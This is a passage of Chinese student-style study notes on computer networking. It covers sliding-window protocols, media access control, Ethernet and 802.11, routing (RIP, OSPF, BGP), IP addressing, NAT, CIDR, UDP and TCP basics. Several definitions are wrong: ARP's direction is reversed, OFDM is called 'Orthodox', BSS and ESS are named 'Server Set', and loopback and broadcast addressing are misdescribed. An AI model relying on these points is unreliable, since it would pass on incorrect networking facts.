<li><strong>规定窗口的大小不能超过<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{(n)}-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9713em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight">n</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，其中n为有多少个比特来标志了序号。</strong></li>
</ul>
</li>
</ul>
<h3 id="选择重传协议--selectve-repeat-protocol"><a href="#选择重传协议--selectve-repeat-protocol">选择重传协议 / Selectve Repeat Protocol</a></h3>
<ul>
<li>解决问题：对于 GBN 算法中可能会出现批量重传的问题（一次性损失太大）
<ul>
<li>只重传出错的帧，设置<strong>单个确认</strong>而不是累计确认，设置接收缓存，缓存乱序的帧</li>
</ul>
</li>
<li>协议中的窗口：
<ul>
<li>发送窗口 &#x26; 接收窗口均大于 0，如果下界未收到确认，将不会滑动</li>
<li>接收窗口：只有窗口下界接收到才会滑动，后面为收到的处于等待接状态</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073629.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073629.jpg" alt="image-20200106230132206" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>协议细节：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073630.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073630.jpg" alt="image-20200106225949892" loading="lazy" data-wrapped="true"></a></li>
<li>调用：检查下一个帧序号，如果位于窗口中则发送，否则缓存数据或者先返回上层</li>
<li>发送方：收到 ACK，则帧将会标记为已接收，<strong>如果是窗口下界</strong>则前进窗口</li>
<li>超时则重传未收到确认的帧</li>
<li>接收方：对于窗口内的帧来者不拒（不管其顺序）</li>
<li>失序的帧将会被缓存，并且向发送方发送确认帧。</li>
<li>如果收到了窗口之外的帧，说明<mark><strong>ACK 在传输过程中丢失</strong></mark>，并且重新发送确认帧</li>
</ul>
</li>
<li>滑动窗口的长度：
<ul>
<li>发送窗口最好等于接收窗口（大了会溢出，小了没意义）</li>
<li><strong>规定窗口的大小不能超过<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo stretchy="false">(</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">2^{(n-1)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span>，其中n为有多少个比特来标志了序号。</strong>（为了避免出现二义性）</li>
</ul>
</li>
</ul>
<h1 id="chapter-4-media-access-control"><a href="#chapter-4-media-access-control">Chapter 4 Media Access Control</a></h1>
<h2 id="一些术语"><a href="#一些术语">一些术语</a></h2>
<ul>
<li>DCF: Distributed Coordination Function -- ad hoc architecture</li>
<li>PCF: Point Coordination Function (Optional)</li>
<li>OFDM: Orthodox Frequency Division Multiplexing (正交频分多路复用)</li>
<li>DSSS: Direct-Sequence Spread Spectrum (直接扩频)</li>
<li>FHSS: Frequency-Hopping Spread Spectrum (跳频扩频技术)</li>
<li>BSS: Basic Server Set</li>
<li>ESS: Extent Server Set (服务集)</li>
<li>发展历史： 802.11b (QPSK 2.4GHz) -> 802.11a (OFDM 5.0GHz) -> 802.11g (OFDM .4GHz)</li>
</ul>
<h2 id="一些概念-2"><a href="#一些概念-2">一些概念</a></h2>
<ul>
<li>
<p>点对点链路：PPP 协议，用于广域网，相邻节点通过一个链路相连</p>
</li>
<li>
<p>广播式链路：所有主机共享通信介质</p>
<ul>
<li>典型的拓补结构：总线型、星型（逻辑总线型）</li>
</ul>
</li>
<li>
<p>介质访问控制：<mark>采取一定措施，使得两对节点之间的通信不会发生互相干扰</mark></p>
<ul>
<li>静态划分信道、动态分配信道</li>
</ul>
</li>
<li>
<p>多路复用：用一条广播信道，把多条信道放在一个信道上</p>
</li>
</ul>
<h2 id="静态信道划分方式"><a href="#静态信道划分方式">静态信道划分方式</a></h2>
<ul>
<li>FDM 频分多路复用：所有用户占用不同的带宽，根据频率的不同（类似于并行）</li>
<li>TDM 时分多路复用：把时间划分为一段段等长的时分复用帧（类似于并发）</li>
<li>STDM 统计时分复用：显著提高时间利用率，分配时间片</li>
<li><em>WDM 波分多路复用</em>：光的频率多路复用</li>
<li>CDMA 码分多路复用：将 1 个比特片分为多个码片 / 芯片，每一个站点被指定一个唯一的 m 位的<strong>芯片序列</strong>，要求各个站点的芯片序列<strong>相互正交</strong> <strong>（<em>通常把 0 写成 -1</em>）</strong>
<ul>
<li>发送 1 时为芯片序列，发送 0 为反码序列</li>
<li>合并方式：各路信道在信道中线性相加</li>
<li>分离方式：合并的数据和来源的芯片序列<strong>规格化内积</strong>，即对应位数相乘之后 / 8
<ul>
<li>结果为 1 - 发送 1；结果为 -1 - 发送 0；结果为 0 - 未发送数据</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="动态信道划分方式"><a href="#动态信道划分方式">动态信道划分方式</a></h2>
<ul>
<li>
<p>令牌传递协议（<strong>轮询访问介质访问控制</strong>）</p>
<ul>
<li>令牌环网中具有多台设备</li>
<li>TCU （转发器）：传递所有接入的帧，</li>
<li>传递 token 获取发送权限：令牌为一个特殊的 MAC 控制帧，不含任何信息</li>
<li>主机得到令牌后：修改令牌的标志位，在令牌之后加入数据并发送数据
<ul>
<li>令牌会沿着令牌环传递</li>
<li>每个节点都会在一定时间内获得发送数据的权力，并不无限持有令牌</li>
</ul>
</li>
<li>主要问题：令牌开销、等待延迟、单点故障</li>
<li>主要适用环境：负载较重、通信量较大的网络</li>
</ul>
</li>
<li>
<p><strong>ALOHA 协议</strong>（以下为<strong>随机访问介质访问控制</strong>）</p>
<ul>
<li>纯 ALOHA 协议：随机重新发送，不按时间槽发送</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73631.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73631.jpg" alt="image-20200106232642474" loading="lazy" data-wrapped="true"></a></li>
<li>如果发生了冲突，则重新发送（接收方会检测是否发生了冲突，若发送方在一段时间内接受不到，则认定为冲突发生）</li>
<li>分槽 ALOHA 协议：分时间内槽发送，所有用户在<strong>时间片开始的时候</strong>同步接入网络信道，若发生冲突，则必须等到下一个时间片开始的时候才发送</li>
<li>相比纯 ALOHA：发生碰撞的概率更小，吞吐量和效率更高</li>
</ul>
</li>
<li>
<p><strong>CSMA 协议</strong> /<em>Carrier Sense Multiple Access</em></p>
<ul>
<li>CS 载波侦听：每一个站在发送数据前先检测是否有其他计算器在发送数据</li>
<li>MA 多点接入：多个计算器接入同一根总线</li>
<li>坚持 CSMA /persistent CSMA：</li>
<li>空闲则直接传输，无需等待；<strong>忙则一直监听，一空闲马上传输</strong></li>
<li>非坚持 CSMA /non-persistent CSMA：</li>
<li>空闲则直接传输，无需等待；<strong>忙则等待一个随机的时间之后再监听</strong></li>
<li>p - 坚持 CSMA /p-persistent CSMA：</li>
<li>空闲则以 p 概率直接传输，概率 1-p 等到下一个时间槽开始的时候传输；</li>
<li><strong>忙则等待一个随机的时间之后再监听</strong></li>
<li>既能减少冲突，又可以减少空闲等待时间</li>
</ul>
</li>
<li>
<p><strong>CSMA/CD</strong> / <em>Carrier Sense Multiple Access / Collision Detection</em></p>
<ul>
<li>传播时延对载波侦听的影响：当出现数据碰撞的时候停止发送</li>
<li>最迟检测碰撞的时间：2t，其中 t 为单程传播时延（2t = 碰撞窗口 / 冲突窗口 / 争用期）</li>
<li>确认重传时机的细节：</li>
<li>确认退避时间（2t）> 定义参数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mi>m</mi><mi>i</mi><mi>n</mi><mrow><mtext>重传次数</mtext><mo separator="true">,</mo><mn>10</mn></mrow></mrow><annotation encoding="application/x-tex">k = min{重传次数, 10}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">min</span><span class="mord"><span class="mord cjk_fallback">重传次数</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">10</span></span></span></span></span></li>
<li>从离散的整数集合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mo separator="true">,</mo><msup><mn>2</mn><mi>k</mi></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">{0, 1, 2, ..., 2^k -1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span></span>选择一个数 r，退避时间即为 <strong>r 倍的基本退避时间</strong></li>
<li>当重传了 <strong>16次</strong> 仍然然不成功，说明网络太拥挤，抛弃。</li>
<li>最小帧长问题：</li>
<li>为了能使协议检测到碰撞的时候数据还没有传输完成</li>
<li>帧的传输时延至少要两倍于信号在总线中的传输时延
<ul>
<li><em><em>最小帧长 = 总线传播时延</em> 数据传输速率 <em>2 = 2t</em> 数据传输速率</em>*</li>
<li>以太网规定的最短帧长为 64B，长度更小的会被认定为冲突帧。所以在发送前需要进行字节填充。</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>CSMA/CA</strong> / <em>Carrier Sense Multiple Access / Collision Avoidance</em></p>
<ul>
<li>主要用于无线局域网，无法做到全面检测，解决<strong>隐蔽站</strong>问题</li>
<li>让周围的所有节点都能够知道某个信道要发送数据</li>
<li>协议细节</li>
<li>发送数据前，先检测信道是否空闲。发送<code>RTS</code>帧（Request to send），等待接收端发送<code>CTS</code>（Clear to send）</li>
<li>发送端<code>CTS</code>后会预约信道，告诉其他信道自己要传送多少数据</li>
<li>接收端收到数据后用 CRC 检验数据是否正确，正确则响应 ACK</li>
<li>发送方收到 ACK 之后可以进行下一个帧的发送（二进制退避算法计算推迟时间）</li>
<li>和 CSMA/CD 相比：</li>
<li>CSMA/CD 用于以太网，CSMA/CA 用于无线局域网</li>
<li><em>载波检测不同</em></li>
</ul>
</li>
</ul>
<h2 id="具体应用"><a href="#具体应用">具体应用</a></h2>
<h3 id="局域网"><a href="#局域网">局域网</a></h3>
<ul>
<li>LAN Local Area Network</li>
<li>特点：覆盖地理范围小，使用专门的传输介质，通信延迟时间短，各站为平等关系，共享传输信道，各站平等关系，广播信道</li>
<li>拓补结构：<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073633.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073633.jpg" alt="image-20200107004512298" loading="lazy" data-wrapped="true"></a></li>
<li>局域网介质访问控制的方法
<ul>
<li>使用 CSMA/CD：适用于<strong>总线型局域网</strong></li>
<li>令牌总线：适用与<strong>总线型局域网</strong>，将总线型网络中的各个工作站按照顺序排列好发送</li>
<li>令牌环：适用于<strong>环型局域网</strong></li>
</ul>
</li>
<li>局域网的分类：
<ul>
<li>以太网、令牌环网、FDDI、ATM、WLAN</li>
</ul>
</li>
<li>使用的标准：IEEE 802 标准，具有一系列的标准
<ul>
<li>IEEE 802.3 以太网</li>
<li>IEEE 802.5 令牌环网</li>
<li>IEEE 802.8 光纤技术咨询组，提供有关光纤联网的技术咨询</li>
<li><strong>IEEE 802.11 WLAN</strong></li>
</ul>
</li>
<li><em>MAC 子层和 LLC 子层：LLC负责识别网络协议，MAC子层负责数据帧的封装</em></li>
</ul>
<h3 id="️-以太网"><a href="#️-以太网">⭐️ 以太网</a></h3>
<ul>
<li>Ethernet，使用 <strong>CSMA/CD</strong> 技术，在各种技术中占统治性地位
<ul>
<li>网络速率快，造价低廉</li>
<li>提供<strong>无连接、不可靠</strong>的传输服务（尽最大努力交付，只实现无差错接受）</li>
</ul>
</li>
<li>拓补结构：逻辑上总线型，物理上星型（由于集线器的引入）</li>
<li>适配器与 MAC 地址：
<ul>
<li>计算机与外界局域网的连接通过<strong>通信适配器</strong>实现，每个适配器含有全球唯一的 MAC 地址</li>
</ul>
</li>
<li><strong>以太网 MAC 帧</strong>：（V2 格式）
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073634.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073634.jpg" alt="image-20200107005655456" loading="lazy" data-wrapped="true"></a></li>
<li>数据段含义：</li>
<li>目的地址：如果是全 f 则为广播地址</li>
<li>类型：数据的协议类型</li>
<li>由于至少需要 64 字节，数据部分的长度在 46~1500 字节之间</li>
<li>FCS：循环冗余校验码</li>
</ul>
</li>
</ul>
<h3 id="无线局域网"><a href="#无线局域网"><em>无线局域网</em></a></h3>
<ul>
<li>802.11 的 MAC 帧头格式：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073636.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073636.jpg" alt="image-20200107010106922" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>基础服务集 BSS，拓展服务集 ESS （有限和无限服务集）</li>
<li>服务器标识符：WIFI 名称</li>
</ul>
<h2 id="链路层设备"><a href="#链路层设备">链路层设备</a></h2>
<ul>
<li>网桥：根据 MAC 地址转发，确定将帧转发到哪一个端口
<ul>
<li>透明网桥：不知道经过了哪个网桥，自学习</li>
<li>源路由网桥：确定最佳路由放到帧的首部</li>
</ul>
</li>
<li>交换机（多接口网桥）
<ul>
<li>直通式交换机（可靠性低）/ 存储转发式交换机（可以检查正确）</li>
</ul>
</li>
</ul>
<h1 id="chapter-5-network-layer"><a href="#chapter-5-network-layer">Chapter 5 Network Layer</a></h1>
<ul>
<li>主要功能
<ul>
<li>路由转发与分组转发、异构网络互连、拥塞控制</li>
<li>拥塞控制：开环控制（静态） &#x26; 闭环控制（动态）</li>
</ul>
</li>
</ul>
<h2 id="数据报文交换"><a href="#数据报文交换">数据报文交换</a></h2>
<h3 id="电路交换"><a href="#电路交换">电路交换</a></h3>
<ul>
<li>在打电话的时候使用的交换方式</li>
<li>建立连接 -- 通信 -- 释放连接</li>
<li>特点：使用多路复用划分电路，支持所有人能够同时使用资源
<ul>
<li>注意电路交换中每一条线路是独占的形式</li>
<li>优点：数据直接传输，会按照顺序发送，有序传输，且不会发生冲突，具有很强的实时性</li>
</ul>
</li>
<li>缺点：建立时间差、线路使用效率低、灵活性差、没有差错控制能力</li>
</ul>
<h3 id="报文交换"><a href="#报文交换">报文交换</a></h3>
<ul>
<li>报文发送到交换设备中（通常为交换机），经过交换机之间的沟通交付给目的主机</li>
<li>有点：无需提前建立连接，动态分配线路，线路可靠性高，利用率高，多目标服务</li>
<li>缺点：有存储转发时延、报文大小不定</li>
</ul>
<h3 id="分组交换"><a href="#分组交换">分组交换</a></h3>
<ul>
<li>分组：把大的数据块分割为小的数据块</li>
<li>源主机报文切割为等大的分隔片段，依次发送到交换设备中
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073637.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073637.jpg" alt="image-20200107012201390" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>相对于报文交换，存储管理更容易，线路的可靠性也有所提高（报文变短）</li>
<li>缺点：乱序到达，需要增大排序开销</li>
<li>上述三种方式的比较：<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073638.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073638.jpg" alt="image-20200107012512774" loading="lazy" data-wrapped="true"></a></li>
</ul>
<h3 id="数据报因特网使用"><a href="#数据报因特网使用">数据报（因特网使用）</a></h3>
<ul>
<li><strong>无连接服务</strong></li>
<li>不事先为分组的传输确定路径，每个分组独立确定传输路径，不用的路由器传输路径不同</li>
<li>每个分组携带源地址和目的地址
<ul>
<li>基于路由协议 / 算法建立转发表，检索转发表并选择线路</li>
</ul>
</li>
</ul>
<h3 id="虚电路方式"><a href="#虚电路方式">虚电路方式</a></h3>
<ul>
<li><strong>连接服务</strong></li>
<li>结合数据包和电路交换方式结合</li>
<li>协议细节：
<ul>
<li>记录了一条源主机到目的主机的类似于电路的路径 **（逻辑连接）**，路径上的所有节点都要维持这条虚电路的建立，维持一张虚电路表</li>
<li>数据分组传送，全双工通信（以分组的方式转发）</li>
</ul>
</li>
<li>和数据报的对比：<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073639.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073639.jpg" alt="image-20200107013213404" loading="lazy" data-wrapped="true"></a></li>
</ul>
<h2 id="️-路由算法"><a href="#️-路由算法">⭐️ 路由算法</a></h2>
<ul>
<li>分类
<ul>
<li>静态路由算法：管理员手动配置路由信息</li>
<li>动态路由算法：彼此交换信息，按照路由算法算出表项</li>
</ul>
</li>
<li>分层次的路由算法：使用自治系统处理（AS），由内部行政单位来管辖
<ul>
<li>每个单位内部使用网关协议（如 RIP、OSPF）</li>
<li>外部使用网关协议（BGP-4）进行交换</li>
</ul>
</li>
</ul>
<h3 id="rip-距离矢量路由"><a href="#rip-距离矢量路由">RIP 距离矢量路由</a></h3>
<ul>
<li>和相邻路由器交换信息（直接交换路由表）
<ul>
<li>每隔 30s 都会刷新一次</li>
</ul>
</li>
<li>一个示例：
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073640.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073640.jpg" alt="image-20200107023947676" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h3 id="链路状态路由"><a href="#链路状态路由">链路状态路由</a></h3>
<ul>
<li>OSPF：开放最短路径优先协议
<ul>
<li>每隔 30min 刷新一次链路状态</li>
<li>公开发表，不受某一个厂商控制</li>
<li>和所有路由器发送信息，<strong>只发送临近的路由器的信息</strong>（对比 RIP，RIP 发送来自所有路由器的信息）</li>
<li>使用广播的方式，和周围的路由器发送路由器的状态（和相邻路由器交换链路状态）</li>
<li>只有当链路状态发生变化的时候泛洪发送信息</li>
</ul>
</li>
<li>路由算法细节
<ul>
<li>发现他的邻居节点并了解邻居节点的网络地址</li>
<li>设置到每个邻居的成本 metric</li>
<li>构造数据库描述分组，向邻站发送</li>
<li>如果都有则不作处理，如果没有或者更新的则发送 LSR 请求更新信息</li>
<li>收到 LSR 分组后发送 LSU 进行更新，并返回 LSAck 链路状态确认分组进行确认</li>
</ul>
</li>
</ul>
<h3 id="逆向路径转发"><a href="#逆向路径转发">逆向路径转发</a></h3>
<ul>
<li>所有路由器都能建立一个链路状态路由表</li>
</ul>
<h3 id="生成树算法"><a href="#生成树算法">生成树算法</a></h3>
<ul>
<li>使用 sink tree 汇集树广播路由</li>
</ul>
<h3 id="边界网关-bgp"><a href="#边界网关-bgp">边界网关 BGP</a></h3>
<ul>
<li>支持 CIDR，路由表包括网络前缀</li>
<li>用于和其他自治系统 AS 的邻站 BGP 发言人交换信息
<ul>
<li>交换网络可达性的信息，即要到达某个网络索要经过的一系列 AS （用于层次路由）</li>
</ul>
</li>
</ul>
<h2 id="ip--internet-protocol"><a href="#ip--internet-protocol">IP / Internet Protocol</a></h2>
<h3 id="报文格式"><a href="#报文格式">报文格式</a></h3>
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073642.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073642.jpg" alt="image-20200107014020639" loading="lazy" data-wrapped="true"></a>
<ul>
<li><strong>报文中的单位</strong>：<mark>总长度单位 1B，片偏移长度 8B，首部长度单位 4B</mark></li>
<li>总长度：首部 + 数据（单位为 1B）</li>
<li>可选字段的范围：0-40 字节，用来支持未知特性</li>
<li>填充：补 0，保证首部长度为 4 的整数倍</li>
<li>分组相关：</li>
<li><strong>MTU</strong> 最大传送单元（以太网的 MTU 为 1500 字节）</li>
<li>每一个片都使用同一个标识</li>
<li>标志位：<code>DF</code> Don't Fragment；<code>MF</code> More Fragment</li>
<li>片偏移：指出片在原分组中的相对位置，<strong>以 8 字节为单位</strong>（除了最后一个分片，每个分片都是 8 字节的整数）
<ul>
<li>该值为每一个数据分片下限和元数据报 0 字节位的偏移</li>
</ul>
</li>
<li>Eg.<a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73643.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73643.jpg" alt="image-20200107015220077" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h3 id="ipv4-地址"><a href="#ipv4-地址">IPv4 地址</a></h3>
<ul>
<li>
<p>给每一个主机一个标识符，= 网络号，主机号</p>
</li>
<li>
<p>分类的 IP 地址：</p>
<ul>
<li>
<p>（现在已几乎不使用这种方式）主要使用子网划分和 CIDR</p>
</li>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073644.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073644.jpg" alt="image-20200107015742460" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>一些特殊 IP 地址：</p>
</li>
<li>
<p>全为 0，表示默认路由</p>
</li>
<li>
<p>全为 1：本网广播地址</p>
</li>
<li>
<p>网络号为特定值，主机号全 0，表示一个网络</p>
</li>
<li>
<p>网络号为特定值，主机号全 0，表示一个直接广播地址，可以对特定主机进行广播</p>
</li>
<li>
<p><strong>主机号为 127：本地软件环回测试，环回地址</strong></p>
</li>
<li>
<p>私有 IP 地址：</p>
</li>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073646.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073646.jpg" alt="image-20200107020303236" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>各类地址可以划分的网络个数：</p>
</li>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73647.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-73647.jpg" alt="image-20200107020320805" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>减 2：不能为全 0（本机地址），不能为全 1（广播地址）</p>
</li>
</ul>
</li>
<li>
<p>网络地址转换 NAT</p>
<ul>
<li>在专用网和因特网上安装 NAT 软件，路由器至少应具有一个外部全球 IP 地址</li>
<li>同一个专用网中的所有主机通过 NAT 路由器进行地址转换，转换成外部 IP 地址</li>
<li>路由器存储有 NAT 转换表（WAN 到 LAN）</li>
</ul>
</li>
<li>
<p><strong>子网划分和子网掩码</strong></p>
<ul>
<li>分类地址对 IP 地址浪费过多</li>
<li>原理：将主机号分为<strong>子网号</strong>和<strong>主机号</strong>（子网号和主机号不能全 0），使用三级地址</li>
<li>子网掩码和源地址作与运算为子网</li>
</ul>
</li>
<li>
<p>无分类编址 CIDR</p>
<ul>
<li>同一个网络下可以使用不同的子网掩码</li>
</ul>
</li>
<li>
<p>原理：使用二级地址：使用网络前缀 + 主机号</p>
<ul>
<li>记法：IP 地址后加上 /</li>
</ul>
</li>
<li>
<p>融合了子网地址与子网掩码，方便子网划分</p>
<ul>
<li>构成超网：如果前缀相同，则可以将前缀缩短减少路由表的冗余</li>
<li>在路由表中使用<strong>最长前缀匹配</strong>，即有多个网络号符合要求则匹配更精确的一个</li>
<li>在 CIDER 技术中，子网号和前缀号都可以全 1 和全 0</li>
</ul>
</li>
</ul>
<h2 id="其他协议"><a href="#其他协议">其他协议</a></h2>
<ul>
<li>ARP（Address Resolution Protocol）地址解析协议，使用 mac 地址查找 IP 地址</li>
<li>DHCP 动态主机配置协议：获取动态配置地址，应用层</li>
<li>ICMP（Internet Control Message Protocol）Internet 控制报文协议，在 IP 主机，路由器之间传递控制消息</li>
</ul>
<h2 id="网络层设备"><a href="#网络层设备">网络层设备</a></h2>
<ul>
<li>路由器：转发，分组，具有多个输入口多个输出口的专用计算机
<ul>
<li>包含有路由表与转发表，转发表由路由表得来，可以用软件实现</li>
</ul>
</li>
<li>和其他层次的区别：
<ul>
<li>路由器（可以互联两个不同网络层协议的网段），网桥（可以互联两个物理层和链路层的不同网段），集线器（不能互联两个物层的不同网段）</li>
</ul>
</li>
</ul>
<h1 id="chapter-6-transport-layer"><a href="#chapter-6-transport-layer">Chapter 6 Transport Layer</a></h1>
<h2 id="udp-协议"><a href="#udp-协议">UDP 协议</a></h2>
<ul>
<li>
<p>User Datagram Protocol</p>
</li>
<li>
<p>不建立连接</p>
</li>
<li>
<p>减少了开销和时延</p>
</li>
<li>
<p>使用最大努力交付，不保证可靠交付（由应用层保证可靠）</p>
</li>
<li>
<p>面型报文的，适合一次性传输少量数据的网络应用</p>
<ul>
<li>应用层给了多长的报文就发送多长的报文</li>
<li>首部开销少，仅 8 字节</li>
</ul>
</li>
<li>
<p>简单的协议头：</p>
<ul>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073651.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073651.jpg" alt="image-20191226205010091" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
<li>
<p>伪首部：仅用于计算校验和</p>
<ul>
<li>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073653.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073653.jpg" alt="image-20191226205257872" loading="lazy" data-wrapped="true"></a></p>
</li>
<li>
<p>校验和的计算：加上伪首部，全 0 填充校验和字段，全 0 填充数据部分，求和，把反码填入校验和字段</p>
</li>
<li>
<p>校验和的验证：填上伪首部，伪首部 + 首部 + 数据采用二进制反码求和，如果结果全为 1 则无差错，否则出错</p>
</li>
</ul>
</li>
</ul>
<h2 id="tcp-协议特点"><a href="#tcp-协议特点">TCP 协议特点</a></h2>
<ul>
<li>
<p>Transmission Control Protocol</p>
</li>
<li>
<p>面向连接（点对点，虚连接）</p>
</li>
<li>
<p>每个 TCP 是只能点对点的（不能用于多端口）</p>
</li>
<li>
<p>提供可靠的交付服务，无差错，不丢失</p>
</li>
<li>
<p>提供全双工通信（可以同时发送和接受数据）</p>
<ul>
<li>具有发送缓存和接受缓存（不可以过早删除因为可能会被删除</li>
</ul>
</li>
<li>
<p>面向字节流 - 会把数据看做字节流</p>
</li>
</ul>
<h2 id="tcp-报文格式"><a href="#tcp-报文格式">TCP 报文格式</a></h2>
